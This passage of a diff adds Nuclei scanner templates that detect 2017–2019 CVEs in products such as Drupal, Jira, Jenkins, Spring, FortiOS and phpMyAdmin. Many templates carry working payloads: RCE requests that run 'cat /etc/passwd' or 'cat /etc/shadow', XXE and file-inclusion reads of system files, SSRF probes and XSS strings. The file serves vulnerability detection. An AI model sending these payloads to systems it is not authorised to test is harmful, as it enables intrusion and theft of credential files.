+
+# this was implemented based on the "check"-method in:
+# https://github.com/danigargu/explodingcan/blob/master/explodingcan.py
+
+requests:
+  - method: OPTIONS
+    path:
+      - "{{BaseURL}}"
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - "IIS/6.0"
+        part: header
+      - type: dsl
+        dsl:
+          - regex("<DAV:sql>", dasl)    # lowercase header name: DASL
+          - regex("[\d]+(,\s+[\d]+)?", dav)    # lowercase header name: DAV
+          - regex(".*?PROPFIND", public)    # lowercase header name: Public
+          - regex(".*?PROPFIND", allow)    # lowercase header name: Allow
+        condition: or
+        part: header

cves/2017/CVE-2017-7391.yaml

@@ -0,0 +1,31 @@
+id: CVE-2017-7391
+
+info:
+  name: Magmi – Cross-Site Scripting v.0.7.22
+  author: pikpikcu
+  severity: medium
+  description: A Cross-Site Scripting (XSS) was discovered in 'Magmi 0.7.22'. The vulnerability exists due to insufficient filtration of user-supplied data (prefix) passed to the 'magmi-git-master/magmi/web/ajax_gettime.php' URL.
+  tags: cve,cve2017,magmi,xss
+
+  # Issues:-https://github.com/dweeves/magmi-git/issues/522
+  # Download:-https://github.com/dweeves/magmi-git/releases/download/0.7.22/magmi_full_0.7.22.zip
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/magmi/web/ajax_gettime.php?prefix=%22%3E%3Cscript%3Ealert(document.domain);%3C/script%3E%3C"
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - '"><script>alert(document.domain);</script><'
+        part: body
+
+      - type: word
+        words:
+          - "text/html"
+        part: header

cves/2017/CVE-2017-7615.yaml

@@ -0,0 +1,38 @@
+id: CVE-2017-7615
+
+info:
+  name: CVE-2017-7615
+  author: bp0lr & dwisiswant0
+  severity: high
+  description: MantisBT through 2.3.0 allows arbitrary password reset and unauthenticated admin access via an empty confirm_hash value to verify.php.
+  tags: cve,cve2017,mantisbt
+
+  # THIS TEMPLATE IS ONLY FOR DETECTING
+  # To carry out further attacks, please see reference[2] below.
+  # This template works by guessing user ID.
+  # MantisBT before 1.3.10, 2.2.4, and 2.3.1, that can be downloaded on reference[1].
+
+  # References:
+  # - [1] https://sourceforge.net/projects/mantisbt/files/mantis-stable/
+  # - [2] http://hyp3rlinx.altervista.org/advisories/MANTIS-BUG-TRACKER-PRE-AUTH-REMOTE-PASSWORD-RESET.txt
+  # - [3] https://www.exploit-db.com/exploits/41890
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/verify.php?id=1&confirm_hash="
+      - "{{BaseURL}}/mantis/verify.php?id=1&confirm_hash="
+      - "{{BaseURL}}/mantisBT/verify.php?id=1&confirm_hash="
+      - "{{BaseURL}}/mantisbt-2.3.0/verify.php?id=1&confirm_hash="
+      - "{{BaseURL}}/bugs/verify.php?confirm_hash=&id=1"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "<input type=\"hidden\" name=\"account_update_token\" value=\"([a-zA-Z0-9_-]+)\""
+        part: body
+
+      - type: status
+        status:
+          - 200

cves/2017/CVE-2017-9506.yaml

@@ -0,0 +1,18 @@
+id: CVE-2017-9506
+
+info:
+  name: Jira IconURIServlet SSRF
+  author: pd-team
+  severity: high
+  description: The IconUriServlet of the Atlassian OAuth Plugin from version 1.3.0 before version 1.9.12 and from version 2.0.0 before version 2.0.4 allows remote attackers to access the content of internal network resources and/or perform an XSS attack via Server Side Request Forgery (SSRF).
+  tags: cve,cve2017,atlassian,jira,ssrf
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/plugins/servlet/oauth/users/icon-uri?consumerUri=https://ipinfo.io/json"
+    matchers:
+      - type: word
+        words:
+          - "ipinfo.io/missingauth"
+        part: body

cves/2017/CVE-2017-9841.yaml

@@ -0,0 +1,38 @@
+id: CVE-2017-9841
+
+info:
+  name: CVE-2017-9841
+  author: Random-Robbie
+  severity: high
+  description: Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP code via HTTP POST data beginning with a "<?php " substring, as demonstrated by an attack on a site with an exposed /vendor folder, i.e., external access to the /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php URI
+  tags: cve,cve2017,php,phpunit,rce
+
+  # Reference to exploit
+  # https://github.com/cyberharsh/Php-unit-CVE-2017-9841
+  # https://github.com/RandomRobbieBF/phpunit-brute
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/sites/all/libraries/mailchimp/vendor/phpunit/phpunit/phpunit"
+      - "{{BaseURL}}/vendor/phpunit/phpunit/phpunit"
+      - "{{BaseURL}}/laravel_api/vendor/phpunit/phpunit/phpunit"
+      - "{{BaseURL}}/api/vendor/phpunit/phpunit/phpunit"
+      - "{{BaseURL}}/apps/vendor/phpunit/phpunit/phpunit"
+      - "{{BaseURL}}/backup/vendor/phpunit/phpunit/phpunit"
+      - "{{BaseURL}}/oldsite/vendor/phpunit/phpunit/phpunit"
+      - "{{BaseURL}}/lib/phpunit/phpunit/phpunit"
+      - "{{BaseURL}}/modules/vendor/phpunit/phpunit/phpunit"
+      - "{{BaseURL}}/old/vendor/phpunit/phpunit/phpunit"
+      - "{{BaseURL}}/zend/vendor/phpunit/phpunit/phpunit"
+      - "{{BaseURL}}/yii/vendor/phpunit/phpunit/phpunit"
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "this version of phpunit requires php 5"
+        part: body
+
+      - type: status
+        status:
+          - 200

cves/2018/CVE-2018-0296.yaml

@@ -4,6 +4,8 @@ info:
   name: Cisco ASA path traversal vulnerability
   author: organiccrap
   severity: medium
+  tags: cve,cve2018,cisco,traversal
+
   # https://github.com/yassineaboukir/CVE-2018-0296
   # curl -k --path-as-is https://host/+CSCOU+/../+CSCOE+/files/file_list.json?path=/sessions
   # if vulnerable, curl -k --path-as-is https://host/+CSCOU+/../+CSCOE+/files/file_list.json?path=/sessions/number

cves/2018/CVE-2018-1000129.yaml

@@ -0,0 +1,27 @@
+id: CVE-2018-1000129
+
+info:
+  name: Jolokia XSS
+  author: mavericknerd @0h1in9e
+  severity: high
+  description: An XSS vulnerability exists in the Jolokia agent version 1.3.7 in the HTTP servlet that allows an attacker to execute malicious javascript in the victim's browser.
+  tags: cve,cve2018,jolokia,xss
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/jolokia/read<svg onload=alert(document.domain)>?mimeType=text/html"
+      - "{{BaseURL}}/api/jolokia/read<svg onload=alert(document.domain)>?mimeType=text/html"
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - "<svg onload=alert(document.domain)>"
+        part: body
+      - type: word
+        words:
+          - "text/html"
+        part: header

cves/2018/CVE-2018-1000861.yaml

@@ -0,0 +1,25 @@
+id: CVE-2018-1000861
+
+info:
+  name: Jenkins 2.138 Remote Command Execution
+  author: dhiyaneshDK & @pikpikcu
+  severity: critical
+  reference: https://github.com/vulhub/vulhub/tree/master/jenkins/CVE-2018-1000861
+  tags: cve,cve2018,jenkin,rce
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=@GrabConfig(disableChecksums=true)%0a@GrabResolver(name=%27test%27,%20root=%27http://aaa%27)%0a@Grab(group=%27package%27,%20module=%27vulntest%27,%20version=%271%27)%0aimport%20Payload;'
+
+    matchers-condition: and
+    matchers:
+
+      - type: word
+        words:
+          - "package#vulntest"
+        part: body
+
+      - type: status
+        status:
+          - 200

cves/2018/CVE-2018-11409.yaml

@@ -4,8 +4,8 @@ info:
   name: Splunk Sensitive Information Disclosure
   author: Harsh Bothra
   severity: medium
-
-# source:- https://nvd.nist.gov/vuln/detail/CVE-2018-11409
+  reference: https://nvd.nist.gov/vuln/detail/CVE-2018-11409
+  tags: cve,cve2018,splunk
 
 requests:
   - method: GET

cves/2018/CVE-2018-11759.yaml

@@ -3,14 +3,15 @@ id: CVE-2018-11759
 info:
   name: Apache Tomcat JK Status Manager Access
   author: Harsh Bothra
-  severity: Medium
-
-# source:- https://github.com/immunIT/CVE-2018-11759
+  severity: medium
+  reference: https://github.com/immunIT/CVE-2018-11759
+  tags: cve,cve2018,apache
 
 requests:
   - method: GET
     path:
       - '{{BaseURL}}/jkstatus'
+      - '{{BaseURL}}/jkstatus;'
 
     matchers-condition: and
     matchers:

cves/2018/CVE-2018-1247.yaml

@@ -4,6 +4,7 @@ info:
   name: RSA Authentication Manager XSS
   author: madrobot
   severity: medium
+  tags: cve,cve2018,xss,flash
 
 requests:
   - method: GET

cves/2018/CVE-2018-12613.yaml

@@ -0,0 +1,25 @@
+id: CVE-2018-12613
+
+info:
+  name: PhpMyAdmin 4.8.1 Remote File Inclusion
+  author: pikpikcu
+  severity: critical
+  reference: https://github.com/vulhub/vulhub/tree/master/phpmyadmin/CVE-2018-12613
+  tags: cve,cve2018,phpmyadmin,lfi
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd'
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "root:[x*]:0:0"
+        part: body
+
+      - type: status
+        status:
+          - 200

cves/2018/CVE-2018-1271.yaml

@@ -3,8 +3,9 @@ id: CVE-2018-1271
 info:
   name: Spring MVC Directory Traversal Vulnerability
   author: hetroublemakr
-  severity: High
-  # reference: https://medium.com/@knownsec404team/analysis-of-spring-mvc-directory-traversal-vulnerability-cve-2018-1271-b291bdb6be0d
+  severity: high
+  reference: https://medium.com/@knownsec404team/analysis-of-spring-mvc-directory-traversal-vulnerability-cve-2018-1271-b291bdb6be0d
+  tags: cve,cve2018,spring,traversal
 
 requests:
   - method: GET

cves/2018/CVE-2018-1273.yaml

@@ -0,0 +1,36 @@
+id: CVE-2018-1273
+
+info:
+  name: Spring Data Commons Unauthenticated RCE
+  author: dwisiswant0
+  severity: critical
+  description: |
+    Spring Data Commons, versions prior to 1.13 to 1.13.10, 2.0 to 2.0.5,
+    and older unsupported versions, contain a property binder vulnerability
+    caused by improper neutralization of special elements.
+    An unauthenticated remote malicious user (or attacker) can supply
+    specially crafted request parameters against Spring Data REST backed HTTP resources
+    or using Spring Data’s projection-based request payload binding hat can lead to a remote code execution attack.
+  reference: https://nvd.nist.gov/vuln/detail/CVE-2018-1273
+  tags: cve,cve2018,vmware,rce
+
+requests:
+  - payloads:
+      command:
+        - "cat /etc/passwd"
+        - "type C:\\/Windows\\/win.ini"
+    raw:
+      - |
+        POST /account HTTP/1.1
+        Host: {{Hostname}}
+        Connection: close
+        Content-Type: application/x-www-form-urlencoded
+
+        name[#this.getClass().forName('java.lang.Runtime').getRuntime().exec('{{url_encode('§command§')}}')]=nuclei
+    matchers:
+      - type: regex
+        regex:
+          - "root:[x*]:0:0:"
+          - "\\[(font|extension|file)s\\]"
+        condition: or
+        part: body

cves/2018/CVE-2018-13379.yaml

@@ -4,12 +4,13 @@ info:
   name: FortiOS - Credentials Disclosure
   author: organiccrap
   severity: high
+  tags: cve,cve2018,fortios
 
 requests:
   - method: GET
     path:
-      - "{{BaseURL}}/remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession"
+      - "{{BaseURL}}/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession"
     matchers:
       - type: word
         words:
-          - "var fgt_lang ="
+          - "var fgt_lang"

cves/2018/CVE-2018-13380.yaml

@@ -0,0 +1,32 @@
+id: CVE-2018-13380
+
+info:
+  name: Fortinet FortiOS Cross-Site Scripting
+  author: shelld3v
+  severity: medium
+  description: A Cross-site Scripting (XSS) vulnerability in Fortinet FortiOS 6.0.0 to 6.0.4, 5.6.0 to 5.6.7, 5.4.0 to 5.4.12, 5.2 and below versions under SSL VPN web portal allows attacker to execute unauthorized malicious script code via the error or message handling parameters.
+  type: XSS
+  reference: https://nvd.nist.gov/vuln/detail/CVE-2018-13380
+  tags: cve,cve2018,fortios,xss
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/message?title=x&msg=%26%23%3Csvg/onload=alert(1337)%3E"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "<svg/onload=alert(1337)>"
+        part: body
+
+      - type: word
+        words:
+          - "application/json"
+        part: header
+        negative: true
+
+      - type: status
+        status:
+          - 200

cves/2018/CVE-2018-14574.yaml

@@ -0,0 +1,23 @@
+id: CVE-2018-14574
+
+info:
+  name: Django Open Redirect
+  author: pikpikcu
+  severity: low
+  tags: cve,cve2018,django,redirect
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}//www.example.com"
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 301
+      - type: word
+        words:
+          - "Location: https://www.example.com"
+          - "Location: http://www.example.com"
+        part: header

cves/2018/CVE-2018-14728.yaml

@@ -4,6 +4,7 @@ info:
   name: Responsive filemanager 9.13.1 - SSRF/LFI
   author: madrobot
   severity: high
+  tags: cve,cve2018,ssrf,lfi
 
 requests:
   - method: POST

cves/2018/CVE-2018-16341.yaml

@@ -4,6 +4,8 @@ info:
   name: Nuxeo Authentication Bypass Remote Code Execution
   author: madrobot
   severity: high
+  description: Nuxeo Authentication Bypass Remote Code Execution < 10.3 using a SSTI
+  tags: cve,cve2018,nuxeo,ssti,rce
 
 requests:
   - method: GET
@@ -13,4 +15,4 @@ requests:
       - type: word
         words:
           - "31333333337"
-        part: body
+        part: body

cves/2018/CVE-2018-16763.yaml

@@ -0,0 +1,27 @@
+id: CVE-2018-16763
+
+info:
+  name: fuelCMS 1.4.1 - Remote Code Execution
+  author: pikpikcu
+  severity: critical
+  tags: cve,cve2018,fuelcms,rce
+
+# Vendor Homepage: https://www.getfuelcms.com/
+# Software Link: https://github.com/daylightstudio/FUEL-CMS/releases/tag/1.4.1
+# Refrence: https://www.exploit-db.com/exploits/47138
+
+requests:
+  - raw:
+      - |
+        GET /fuel/pages/select/?filter=%27%2bpi(print(%24a%3d%27system%27))%2b%24a(%27cat%20/etc/passwd%27)%2b%27 HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: regex
+        regex:
+          - "root:[x*]:0:0:"

cves/2018/CVE-2018-17431.yaml

@@ -0,0 +1,34 @@
+id: CVE-2018-17431
+
+info:
+  name: Comodo Unified Threat Management Web Console 2.7.0 - RCE
+  author: dwisiswant0
+  severity: critical
+  description: Comodo Firewall & Central Manager (UTM) All Release before 2.7.0 & 1.5.0 Remote Code Execution (Web Shell based)
+  tags: cve,cve2018,comodo,rce
+
+  # References:
+  # - https://www.exploit-db.com/exploits/48825
+  # - https://secure.comodo.com/home/purchase.php?pid=106&license=try&track=9276&af=9276
+
+requests:
+  - raw:
+      - |
+        GET /manage/webshell/u?s=5&w=218&h=15&k=%73%65%72%76%69%63%65%0a%73%73%68%0a%64%69%73%61%62%6c%65%0a&l=62&_=5621298674064 HTTP/1.1
+        Host: {{Hostname}}
+        Connection: close
+
+      - | # to triggering RCE
+        GET /manage/webshell/u?s=5&w=218&h=15&k=%0a&l=62&_=5621298674064 HTTP/1.1
+        Host: {{Hostname}}
+        Connection: close
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "Configuration has been altered"
+        part: body
+      - type: status
+        status:
+          - 200

cves/2018/CVE-2018-18069.yaml

@@ -4,6 +4,8 @@ info:
   name: Wordpress unauthenticated stored xss
   author: nadino
   severity: medium
+  description: process_forms in the WPML (aka sitepress-multilingual-cms) plugin through 3.6.3 for WordPress has XSS via any locale_file_name_ parameter (such as locale_file_name_en) in an authenticated theme-localization.php request to wp-admin/admin.php.
+  tags: cve,cve2018,wordpress,xss
 
 requests:
   - method: POST

cves/2018/CVE-2018-19386.yaml

@@ -0,0 +1,22 @@
+id: CVE-2018-19386
+
+info:
+  name: SolarWinds Database Performance Analyzer 11.1. 457 - Cross Site Scripting
+  author: pikpikcu
+  severity: medium
+  refrence: https://www.cvedetails.com/cve/CVE-2018-19386/
+  tags: cve,cve2018,solarwinds,xss
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/iwc/idcStateError.iwc?page=javascript%3aalert(document.domain)%2f%2f"
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - '<a href="javascript:alert(document.domain)//'

cves/2018/CVE-2018-19439.yaml

@@ -4,6 +4,8 @@ info:
   name: Cross Site Scripting in Oracle Secure Global Desktop Administration Console
   author: madrobot & dwisiswant0
   severity: high
+  description: XSS exists in the Administration Console in Oracle Secure Global Desktop 4.4 20080807152602 (but was fixed in later versions including 5.4)
+  tags: cve,cve2018,oracle,xss
 
 requests:
   - method: GET

cves/2018/CVE-2018-20824.yaml

@@ -4,6 +4,8 @@ info:
   name: Atlassian Jira WallboardServlet XSS
   author: madrobot & dwisiswant0
   severity: medium
+  description: The WallboardServlet resource in Jira before version 7.13.1 allows remote attackers to inject arbitrary HTML or JavaScript via a cross site scripting (XSS) vulnerability in the cyclePeriod parameter.
+  tags: cve,cve2018,atlassian,jira,xss
 
 requests:
   - method: GET

cves/2018/CVE-2018-2791.yaml

@@ -0,0 +1,25 @@
+id: CVE-2018-2791
+
+info:
+  name: Oracle WebCenter Sites XSS
+  author: madrobot
+  severity: medium
+  description: Vulnerability in the Oracle WebCenter Sites component of Oracle Fusion Middleware
+  tags: cve,cve2018,oracle,xss
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/servlet/Satellite?destpage=%22%3Ch1xxx%3Cscriptalert(1)%3C%2Fscript&pagename=OpenMarket%2FXcelerate%2FUIFramework%2FLoginError"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "<h1xxx<scriptalert(1)</script"
+        part: body
+
+      - type: word
+        words:
+          - "text/html"
+        part: header

cves/2018/CVE-2018-3167.yaml

@@ -0,0 +1,25 @@
+id: CVE-2018-3167
+
+info:
+  name: Unauthenticated Blind SSRF in Oracle EBS
+  author: geeknik
+  severity: low
+  description: https://medium.com/@x41x41x41/unauthenticated-ssrf-in-oracle-ebs-765bd789a145
+  tags: cve,cve2018,oracle,ebs,ssrf
+
+requests:
+  - method: POST
+    path:
+      - '{{BaseURL}}/OA_HTML/lcmServiceController.jsp'
+
+    body: <!DOCTYPE root PUBLIC "-//B/A/EN" "http://localhost:80">
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - 'Unexpected text in DTD'
+        part: body
+      - type: status
+        status:
+          - 200

cves/2018/CVE-2018-3714.yaml

@@ -3,6 +3,8 @@ info:
   name: node-srv Path Traversal
   author: madrobot
   severity: high
+  reference: https://hackerone.com/reports/309124
+  tags: cve,cve2018,nodejs,traversal
 
 requests:
   - method: GET

cves/2018/CVE-2018-3760.yaml

@@ -1,9 +1,10 @@
 id: CVE-2018-3760
 
 info:
-  name: Rails cve-2018-3760
+  name: Rails CVE-2018-3760
   author: 0xrudra
   severity: high
+  tags: cve,cve2018,rails,traversal
 
 requests:
   - method: GET

cves/2018/CVE-2018-5230.yaml

@@ -4,6 +4,7 @@ info:
   name: Atlassian Confluence Status-List XSS
   author: madrobot
   severity: medium
+  tags: cve,cve2018,atlassian,confluence,xss
 
 requests:
   - method: GET

cves/2018/CVE-2018-7251.yaml

@@ -0,0 +1,19 @@
+id: CVE-2018-7251
+
+info:
+  name: AnchorCMS Error Log Exposure
+  author: pd-team
+  severity: medium
+  tags: cve,cve2018,anchorcms,logs
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/anchor/errors.log'
+    matchers:
+      - type: word
+        words:
+          - '"date":'
+          - '"message":'
+          - '"trace":['
+        condition: and

cves/2018/CVE-2018-7490.yaml

@@ -4,6 +4,7 @@ info:
   name: uWSGI PHP Plugin Directory Traversal
   author: madrobot
   severity: high
+  tags: cve,cve2018,uwsgi,php,traversal
 
 requests:
   - method: GET

cves/2018/CVE-2018-7600.yaml

@@ -0,0 +1,57 @@
+id: CVE-2018-7600
+
+info:
+  name: Drupal Drupalgeddon 2 RCE
+  author: pikpikcu
+  severity: critical
+  reference: https://github.com/vulhub/vulhub/tree/master/drupal/CVE-2018-7600
+  tags: cve,cve2018,drupal,rce
+
+requests:
+  - raw:
+      - |
+        POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1
+        Host:  {{Hostname}}
+        User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
+        Accept: application/json
+        Referer:  {{Hostname}}/user/register
+        X-Requested-With: XMLHttpRequest
+        Content-Type: multipart/form-data; boundary=---------------------------99533888113153068481322586663
+        Content-Length: 626
+        Connection: close
+
+        -----------------------------99533888113153068481322586663
+        Content-Disposition: form-data; name="mail[#post_render][]"
+
+        passthru
+        -----------------------------99533888113153068481322586663
+        Content-Disposition: form-data; name="mail[#type]"
+
+        markup
+        -----------------------------99533888113153068481322586663
+        Content-Disposition: form-data; name="mail[#markup]"
+
+        cat /etc/passwd
+        -----------------------------99533888113153068481322586663
+        Content-Disposition: form-data; name="form_id"
+
+        user_register_form
+        -----------------------------99533888113153068481322586663
+        Content-Disposition: form-data; name="_drupal_ajax"
+
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "application/json"
+        part: header
+
+      - type: regex
+        regex:
+          - "root:[x*]:0:0"
+        part: body
+
+      - type: status
+        status:
+          - 200

cves/2018/CVE-2018-8006.yaml

@@ -0,0 +1,21 @@
+id: CVE-2018-8006
+
+info:
+  name: Apache ActiveMQ XSS
+  author: pd-team
+  severity: medium
+  tags: cve,cve2018,apache,activemq,xss
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/admin/queues.jsp?QueueFilter=yu1ey%22%3e%3cscript%3ealert(%221%22)%3c%2fscript%3eqb68'
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - '"><script>alert("1")</script>'
+      - type: word
+        words:
+          - "/html"
+        part: header

cves/2018/CVE-2018-8033.yaml

@@ -0,0 +1,29 @@
+id: CVE-2018-8033
+
+info:
+  name: Apache OFBiz XXE
+  author: pikpikcu
+  severity: high
+  description: XXE injection (file disclosure) exploit for Apache OFBiz 16.11.04
+  tags: cve,cve2018,apache,ofbiz,xxe
+
+requests:
+  - raw:
+      - |
+        POST /webtools/control/xmlrpc HTTP/1.1
+        Host: {{Hostname}}
+        Accept: */*
+        Accept-Language: en
+        Content-Type: application/xml
+
+        <?xml version="1.0"?><!DOCTYPE x [<!ENTITY disclose SYSTEM "file://///etc/passwd">]><methodCall><methodName>&disclose;</methodName></methodCall>
+
+    matchers-condition: and
+    matchers:
+      - type: regex
+        regex:
+          - "root:[x*]:0:0:"
+        part: body
+      - type: status
+        status:
+          - 200

cves/2019/CVE-2019-10092.yaml

@@ -0,0 +1,16 @@
+id: CVE-2019-10092
+
+info:
+  name: Apache mod_proxy HTML Injection / Partial XSS
+  author: pd-team
+  severity: medium
+  tags: cve,cve2019,apache,htmli
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/%5cgoogle.com/evil.html'
+    matchers:
+      - type: word
+        words:
+          - "<a href=\"/\\google.com/evil.html\">"

cves/2019/CVE-2019-1010287.yaml

@@ -0,0 +1,37 @@
+id: CVE-2019-1010287
+
+info:
+  name: Timesheet 1.5.3 - Cross Site Scripting
+  author: pikpikcu
+  severity: high
+  reference: https://nvd.nist.gov/vuln/detail/CVE-2019-1010287
+  tags: cve,cve2019,timesheet,xss
+
+# Google-Dork: inurl:"/timesheet/login.php"
+# Demo: http://www.mdh-tz.info/
+
+requests:
+  - raw:  # Metod POST  From  login.php
+      - |
+        POST /timesheet/login.php HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
+        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+        Accept-Language: en-US,en;q=0.5
+        Content-Type: application/x-www-form-urlencoded
+        Content-Length: 91
+        DNT: 1
+        Connection: keep-alive
+        Upgrade-Insecure-Requests: 1
+
+        username=%27%22%3E%3Cscript%3Ejavascript%3Aalert%28document.domain%29%3C%2Fscript%3E&password=pd&submit=Login
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - '><script>javascript:alert(document.domain)</script>'
+        part: body

cves/2019/CVE-2019-10475.yaml

@@ -4,6 +4,7 @@ info:
   name: Jenkins build-metrics plugin 1.3 - 'label' Cross-Site Scripting
   author: madrobot
   severity: medium
+  tags: cve,cve2019,jenkins,xss
 
 requests:
   - method: GET
@@ -18,3 +19,8 @@ requests:
         words:
           - "<svg/onload=alert(1337)>"
         part: body
+
+      - type: word
+        words:
+          - "text/html"
+        part: header

cves/2019/CVE-2019-11248.yaml

@@ -0,0 +1,20 @@
+id: CVE-2019-11248
+
+info:
+  name: exposed_pprof
+  author: 0xceeb
+  severity: medium
+  tags: cve,cve2019,debug
+
+  # https://medium.com/bugbountywriteup/my-first-bug-bounty-21d3203ffdb0
+  # http://mmcloughlin.com/posts/your-pprof-is-showing
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/debug/pprof/"
+    matchers:
+      - type: word
+        words:
+          - "Types of profiles available:"
+          - "Profile Descriptions"

cves/2019/CVE-2019-11510.yaml

@@ -4,7 +4,8 @@ info:
   name: Pulse Connect Secure SSL VPN arbitrary file read vulnerability
   author: organiccrap
   severity: high
-  # https://blog.orange.tw/2019/09/attacking-ssl-vpn-part-3-golden-pulse-secure-rce-chain.html
+  reference: https://blog.orange.tw/2019/09/attacking-ssl-vpn-part-3-golden-pulse-secure-rce-chain.html
+  tags: cve,cve2019,pulsesecure,traversal
 
 requests:
   - method: GET

cves/2019/CVE-2019-11580.yaml

@@ -0,0 +1,38 @@
+id: CVE-2019-11580
+
+info:
+  name: Atlassian Crowd & Crowd Data Center - Unauthenticated RCE
+  author: dwisiswant0
+  severity: critical
+  tags: cve,cve2019,atlassian,rce
+
+  # Atlassian Crowd and Crowd Data Center
+  # had the pdkinstall development plugin incorrectly enabled in release builds.
+  # Attackers who can send unauthenticated or authenticated requests
+  # to a Crowd or Crowd Data Center instance can exploit this vulnerability
+  # to install arbitrary plugins, which permits remote code execution on
+  # systems running a vulnerable version of Crowd or Crowd Data Center.
+  # All versions of Crowd from version 2.1.0 before 3.0.5 (the fixed version for 3.0.x),
+  # from version 3.1.0 before 3.1.6 (the fixed version for 3.1.x),
+  # from version 3.2.0 before 3.2.8 (the fixed version for 3.2.x),
+  # from version 3.3.0 before 3.3.5 (the fixed version for 3.3.x),
+  # and from version 3.4.0 before 3.4.4 (the fixed version for 3.4.x) are affected by this vulnerability.
+  # -
+  # References:
+  # > https://github.com/jas502n/CVE-2019-11580
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/crowd/plugins/servlet/exp?cmd=cat%20/etc/shadow"
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "root:*:"
+          - "bin:*:"
+        condition: and
+        part: body
+      - type: status
+        status:
+          - 200

cves/2019/CVE-2019-11581.yaml

@@ -0,0 +1,42 @@
+id: CVE-2019-11581
+
+info:
+  name: Atlassian Jira template injection
+  description: There was a server-side template injection vulnerability in Jira Server and Data Center, in the ContactAdministrators and the SendBulkMail actions. An attacker is able to remotely execute code on systems that run a vulnerable version of Jira Server or Data Center. All versions of Jira Server and Data Center from 4.4.0 before 7.6.14, from 7.7.0 before 7.13.5, from 8.0.0 before 8.0.3, from 8.1.0 before 8.1.2, and from 8.2.0 before 8.2.3 are affected by this vulnerability.
+  author: ree4pwn
+  severity: critical
+  reference: https://github.com/jas502n/CVE-2019-11581
+  tags: cve,cve2019,atlassian,jira,ssti,rce
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/secure/ContactAdministrators!default.jspa"
+
+    matchers-condition: and
+    matchers:
+      - type: regex
+        regex:
+          - "\\(v4\\.4\\."
+          - "\\(v5\\."
+          - "\\(v6\\."
+          - "\\(v7\\.[012345789]\\."
+          - "\\(v7\\.1[0-2]\\."
+          - "\\(v7\\.6\\.([0-9]|[1][0-3])"
+          - "\\(v7\\.\\13\\.[0-4]"
+          - "\\(v8\\.0\\.[0-2]"
+          - "\\(v8\\.1\\.[0-1]"
+          - "\\(v8\\.2\\.[0-2]"
+        condition: or
+        part: body
+
+      - type: word
+        words:
+          - "Contact Site Administrators"
+        part: body
+
+      - type: word
+        words:
+          - "has not yet configured this contact form"
+        part: body
+        negative: true

cves/2019/CVE-2019-11869.yaml

@@ -0,0 +1,44 @@
+id: CVE-2019-11869
+
+info:
+  name: Yuzo Related Posts plugin XSS
+  author: ganofins
+  severity: medium
+  description: |
+    The Yuzo Related Posts plugin before 5.12.94 for WordPress has XSS
+    because it mistakenly expects that is_admin() verifies that the
+    request comes from an admin user (it actually only verifies that the
+    request is for an admin page). An unauthenticated attacker can inject
+    a payload into the plugin settings, such as the
+    yuzo_related_post_css_and_style setting.
+
+    References:
+    - https://www.wordfence.com/blog/2019/04/yuzo-related-posts-zero-day-vulnerability-exploited-in-the-wild
+    - https://wpscan.com/vulnerability/9254
+  tags: cve,cve2019,wordpress,wp-plugin,xss
+
+requests:
+  - raw:
+      - |
+        POST /wp-admin/options-general.php?page=yuzo-related-post HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
